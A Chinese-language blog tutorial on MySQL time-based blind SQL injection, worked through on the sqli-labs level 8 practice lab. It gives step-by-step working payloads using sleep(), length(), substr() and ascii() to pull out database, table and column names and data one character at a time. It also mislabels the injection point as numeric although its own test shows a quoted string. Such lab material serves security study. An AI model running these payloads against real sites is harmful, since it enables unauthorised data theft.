sql注入——mysql延时注入

  • Post author:
  • Post category:mysql


注入思路

1,判断是否存在注入点,注入点是字符型还是数值型

2,构建sleep延时注入语句,猜测当前数据库的库名的长度是几个字符

3,猜测数据库下的表名的长度是由多少个字符组成的

4,猜测字段名(列名)

5,猜测数据

使用延时注入的时机


用于,无法回现和无法显示错误页面的场景

使用if(length(注入语句)=N,sleep(5),1),改变N的值,如果条件成立,通过服务器的休眠时间,来判断是否存在延时注入点,如果休眠五秒,则存在延时注入,如果不休眠在则反之,不存在延时注入点!

实战说明

以sqli-labs-master第8关为例说明

第一步:判断注入点

语句:
?id=1' and sleep(5)-- -  //正常休眠
?id=1" and sleep(5)-- -  //无休眠
?id=1') and sleep(5)-- - //无休眠
?id=1") and sleep(5)-- - //无休眠

总结:由此可以判断注入点为数值型注入点 包裹符号为'号

第二步:判断当前数据库库名的长度

语句:
    ?id=1' and if(length(database())=8,sleep(10),1)-- -
        ps:通过改变数据库的长度的值来判断,是数据库名
               如:length(database())=N

第三步:判断当前数据库下的库名

语句:
    ?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))-- -
            
        ps:通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一一演示
        重点:substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么

第四步:猜表名

语句:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -
解释:security的第一张表的第一个字符ascii为101,为字符e  
    limit 0,1),N,1还是改变N的的得出第二个字符

第五步:猜字段名,猜数据

猜字段语句:
?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_name="表名"limit 0,1),N,1)))=101,0,sleep(5))-- -


猜数据:
 and if((select ascii(substr((select 字段名 from 库名.表名 limit 0,1),N,1)))=101,0,sleep(5))



版权声明:本文为Night_time原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。